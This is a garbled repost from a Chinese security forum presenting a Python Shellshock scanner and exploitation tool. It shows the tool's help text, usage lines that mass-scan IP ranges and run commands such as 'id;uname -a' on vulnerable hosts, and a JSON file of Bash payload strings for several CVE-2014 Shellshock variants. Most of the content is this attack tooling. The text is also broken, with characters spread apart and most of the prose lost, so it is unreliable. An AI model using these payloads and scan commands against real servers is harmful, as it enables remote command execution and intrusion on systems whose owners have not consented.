[29022] 2021-06-21_【安全工具】一款简单漏洞测试hellshock工具

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2021-06-21_【安全工具】一款简单漏洞测试hellshock工具 h e l l s h o c k O t s   2 0 2 1 - 0 6 - 2 1 O t s           - 广   =   S h e l l s h o c k S h e l l s h o c k   B a s h d o o r   U n i x   B a s h   s h e l l     2 0 1 4     9     2 4   S h e l l s h o c k   使 使   B a s h     I n t e r n e t   访 使   B a s h     W e b   使   (   M r C l 0 w n L a b   )   使 使 使 M r C l 0 w n L a b   使 p i p p i p A u t o r :         M r C l 0 w n B l o g :           h t t p : / / b l o g . m r c l 0 w n . c o m G i t H u b :       h t t p s : / / g i t h u b . c o m / M r C l 0 w n L a b T w i t t e r :     h t t p s : / / t w i t t e r . c o m / M r C l 0 w n L a b E m a i l :         m r c l 0 w n l a b @ g m a i l . c o m p i p   i n s t a l l   s h o d a n p i p   i n s t a l l   i p i n f o p y t h o n   m a i n . p y   - - h e l p                                                                                     , /                                                                                 , ' /                                                                             , '   /                                                                         , '     / _ _ _ _ _ ,                                                                     . ' _ _ _ _         , '                                                                                         /     , '                                                                             /   , '                                                                             / , '                                                                         / '                           _ _ _ _     _           _ _ _ _ _   _           _           _ _ _ _     _             _ _ _               _                                 /   _ _ _ | |   | _ _   | _ _ _   / |   |       |   |       /   _ _ _ | |   | _ _     /   _       _ _ _ |   |   _ _                         _ _ _   |   ' _       | _   |   |       |   |       _ _ _   |   ' _   |   |   |   | /   _ _ |   | /   /                           _ _ _ )   |   |   |   | _ _ _ )   |   | _ _ _ |   | _ _ _   _ _ _ )   |   |   |   |   | _ |   |   ( _ _ |       <                           | _ _ _ _ / | _ |   | _ | _ _ _ _ / | _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ / | _ |   | _ | _ _ _ /   _ _ _ | _ | _                                           _ _       _       _                           _                             _ _                                                                             |   _ |   |   |   |   | _       _   _   _ _   |   | _   _ _ _   _   _ _     | _   |                                                                           |   |     |   | _ |   |   |   |   |   ' _   |   _ _ /   _     ' _ _ |     |   |                                                                           |   |     |     _     |   | _ |   |   |   |   |   | |     _ _ /   |           |   |                                                                           |   |     | _ |   | _ | _ _ , _ | _ |   | _ | _ _ _ _ _ | _ |           |   |                                                                           | _ _ |                                                                     | _ _ |   v 1 . 0                                                                             B y :   M r C l 0 w n   /   h t t p s : / / b l o g . m r c l 0 w n . c o m                                                                                                                                                     u s a g e :   t o o l   [ - h ]   [ - - f i l e   < i p s . t x t > ]   [ - - r a n g e   < i p - s t a r t > , < i p - e n d > ]   [ - - c m d - c g i   < c o m m a n d   s h e l l > ]   [ - - e x e c - v u l n   < c o m m a n d   s h e l l > ]   [ - - t h r e a d   < 2 0 > ]   [ - - c h e c k ]   [ - - s s l ]   [ - - c g i - f i l e   < c g i . t x t > ]   [ - - t i m e o u t   < 5 > ]   [ - - a l l ]   [ - - d e b u g ] o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                                       s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - - f i l e   < i p s . t x t >                           I n p u t   y o u r   t a r g e t   h o s t   l i s t s     - - r a n g e   < i p - s t a r t > , < i p - e n d >     S e t   r a n g e   I P   E g . :   1 9 2 . 1 6 8 . 1 5 . 1 , 1 9 2 . 1 6 8 . 1 5 . 1 0 0     - - c m d - c g i   < c o m m a n d   s h e l l >         D e f i n e   s h e l l   c o m m a n d   t h a t   w i l l   b e   e x e c u t e d   i n   t h e   p a y l o a d     - - e x e c - v u l n   < c o m m a n d   s h e l l >     E x e c u t i n g   c o m m a n d s   o n   v u l n e r a b l e   t a r g e t s     - - t h r e a d   < 2 0 > ,   - t   < 2 0 >               E g .   2 0     - - c h e c k                                             C h e c k   f o r   s h e l l s h o c k   v u l n e r a b i l i t y     - - s s l                                                 E n a b l e   r e q u e s t   w i t h   S S L     - - c g i - f i l e   < c g i . t x t >                   D e f i n e s   a   C G I   f i l e   t o   b e   u s e d
p r i n t s   (   - - e x e c - v u l n   ' e c h o   " _ T A R G E T _ " '   )     - - c g i - f i l e   < c g i . t x t >                   D e f i n e s   a   C G I   f i l e   t o   b e   u s e d     - - t i m e o u t   < 5 >                                 S e t   c o n n e c t i o n   t i m e o u t     - - a l l                                                 T e s t e   a l l   p a y l o a d s     - - d e b u g ,   - d                                     E n a b l e   d e b u g   m o d e p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - f i l e   t a r g e t s . t x t   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - f i l e   t a r g e t s . t x t   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t '   - - a l l p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' c u r l   - v   - k   - i   " _ T A R G E T _ " ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' . / e x p l o i t   - t   " _ T A R G E T _ " ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' . / e x p l o i t   - t   " _ T A R G E T _ " '   - - d e b u g
  - - d e b u g   - - a s s e t s / e x p l o i t s . j s o n {         " D E F A U L T " :                 " ( )   {   : ;   } ;   e c h o   ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 " :                   " ( )   {   : ;   } ;   e c h o   _ C H E C K E R _ ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 - 2 " :                 " ( )   {   : ; } ;   e c h o   ' _ C H E C K E R _ '   ' B A S H _ F U N C _ x ( ) = ( )   {   : ; } ;   e c h o   _ C H E C K E R _ '   b a s h   - c   ' e c h o   _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 - 3 " :                 " ( )   {   : ;   } ;   e c h o   ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' ; e c h o   _ C H E C K E R _ ; " ,         " C V E - 2 0 1 4 - 7 1 6 9 " :                 " ( )   {   ( a ) = > '   / b i n / b a s h   - c   ' e c h o   _ C H E C K E R _ ' ;   c a t   e c h o " ,         " C V E - 2 0 1 4 - 7 1 8 6 " :                 " / b i n / b a s h   - c   ' t r u e   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F '   | |   e c h o   ' _ C H E C K E R _ ,   r e d i r _ s t a c k ' " ,         " C V E - 2 0 1 4 - 7 1 8 7 " :                 " ( f o r   x   i n   { 1 . . 2 0 0 }   ;   d o   e c h o   " f o r   x $ x   i n   ;   d o   : " ;   d o n e ;   f o r   x   i n   { 1 . . 2 0 0 }   ;   d o   e c h o   d o n e   ;   d o n e )   |   / b i n / b a s h   | |   e c h o   ' _ C H E C K E R _ ,   w o r d _ l i n e n o ' " ,         " C V E - 2 0 1 4 - 6 2 7 8 " :                 " ( )   {   _ ;   }   > _ [ $ ( $ ( ) ) ]   {   e c h o   _ C H E C K E R _ ;   i d ;   }   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 8 - 2 " :                         " s h e l l s h o c k e r = ' ( )   {   e c h o   _ C H E C K E R _ ;   } '   b a s h   - c   s h e l l s h o c k e r " ,         " C V E - 2 0 1 4 - 6 2 7 7 " :                 " ( )   {   x ( )   {   _ ;   } ;   x ( )   {   _ ;   }   < < a ;   }   / b i n / b a s h   - c   _ C O M M A N D _ ; e c h o   _ C H E C K E R _ " ,         " C V E - 2 0 1 4 - * " :
a s s e t s / c o n f i g . j s o n h t t p s : / / o w a s p . o r g / w w w - p d f - a r c h i v e / S h e l l s h o c k _ - _ T u d o r _ E n a c h e . p d f h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / S h e l l s h o c k _ % 2 8 s o f t w a r e _ b u g % 2 9 # C V E - 2 0 1 4 - 7 1 8 6 _ a n d _ C V E - 2 0 1 4 - 7 1 8 7 _ D e t a i l s h t t p s : / / b l o g . i n u r l . c o m . b r / s e a r c h ? q = s h e l l s h o c k h t t p s : / / g i t h u b . c o m / g o o g l e i n u r l / X p l - S H E L L S H O C K - C h 3 c k / b l o b / m a s t e r / x p l S H E L L S H O C K . p h p h t t p s : / / g i t h u b . c o m / c h e l s e a k o m l o / s h e l l s h o c k _ d e m o h t t p s : / / g i t h u b . c o m / x d i s t r o / S h e l l S h o c k / b l o b / m a s t e r / s h e l l s h o c k _ t e s t . s h h t t p s : / / g i t h u b . c o m / c a p t u r e 0 x / X S H O C K / b l o b / m a s t e r / m a i n . p y h t t p s : / / l c a m t u f . b l o g s p o t . c o m / 2 0 1 4 / 1 0 / b a s h - b u g - h o w - w e - f i n a l l y - c r a c k e d . h t m l h t t p s : / / b l o g . s u c u r i . n e t / 2 0 1 4 / 0 9 / b a s h - v u l n e r a b i l i t y - s h e l l - s h o c k - t h o u s a n d s - o f - c p a n e l - s i t e s - a r e - h i g h - r i s k . h t m l h t t p s : / / g i t h u b . c o m / B u d d h a L a b s / P a c k e t S t o r m - E x p l o i t s / b l o b / m a s t e r / 1 4 1 0 - e x p l o i t s / a p a c h e m o d c g i - s h e l l s h o c k . t x t h t t p s : / / g i t h u b . c o m / g a j o s 1 1 2 / O S C P / b l o b / m a s t e r / S h e l l s h o c k . t x t         " C V E - 2 0 1 4 - * " :                 " ( )   {   } ;   e c h o   _ C H E C K E R _ '   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " } {         " c o n f i g " :   {                 " t h r e a d s " :   2 0 ,                 " p a t h " :   {                         " p a t h _ o u t p u t " :   " o u t p u t / " ,                         " p a t h _ w o r d l i s t " :   " w o r d l i s t / " ,                         " p a t h _ m o d u l e s " :   " m o d u l e s / " ,                         " p a t h _ a s s e t s " :   " a s s e t s / "                 } ,                 " f i l e s _ a s s e t s " : {                         " c o n f i g " :   " a s s e t s / c o n f i g . j s o n " ,                         " a u t o r " :   " a s s e t s / a u t o r . j s o n " ,                         " e x p l o i t s " :   " a s s e t s / e x p l o i t s . j s o n "                 } ,                 " a p i " : {                         " s h o d a n " : " " ,                         " i p i n f o " : " "                 }         } }   a s s e t s         a u t o r . j s o n         c o n f i g . j s o n         e x p l o i t s . j s o n         p r i n t s                 b a n n e r . p n g                 p r i n t 0 0 . p n g                 p r i n t 0 1 . p n g                 p r i n t 0 2 . p n g                 p r i n t 0 3 . p n g   L I C E N S E   m a i n . p y   m o d u l e s         b a n n e r _ s h o c k . p y         c o l o r _ s h o c k . p y         d e b u g _ s h o c k . p y         f i l e _ s h o c k . p y         _ _ i n i t _ _ . p y         r e q u e s t _ s h o c k . p y         s h o d a n _ s h o c k . p y         t h r e a d _ s h o c k . p y   o u t p u t         v u l n . t x t   R E A D M E . m d   w o r d l i s t           c g i . t x t
h t t p s : / / d l . p a c k e t s t o r m s e c u r i t y . n e t / 1 6 0 6 - e x p l o i t s / s u n s e c u r e g d o g - s h e l l s h o c k . t x t h t t p : / / s t u f f . i p s e c s . c o m / f i l e s / u c s - s h e l l s h o c k _ p l . t x t h t t p s : / / g i t h u b . c o m / o p s x c q / e x p l o i t - C V E - 2 0 1 4 - 6 2 7 1 h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / S h e l l s h o c k _ % 2 8 s o f t w a r e _ b u g % 2 9 # C V E - 2 0 1 4 - 7 1 8 6 _ a n d _ C V E - 2 0 1 4 - 7 1 8 7 _ D e t a i l s h t t p s : / / m a n u a l d o u s u a r i o . n e t / s h e l l s h o c k - b a s h - f a l h a / h t t p s : / / d a r r e n m a r t y n . i e / 2 0 2 1 / 0 1 / 2 4 / v i s u a l d o o r - s o n i c w a l l - s s l - v p n - e x p l o i t 线 线   p y t h o n     s h o d a n     i p i n f o     A P I S           H t t p R e q u e s t s     线         S h e l l   E x e c  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则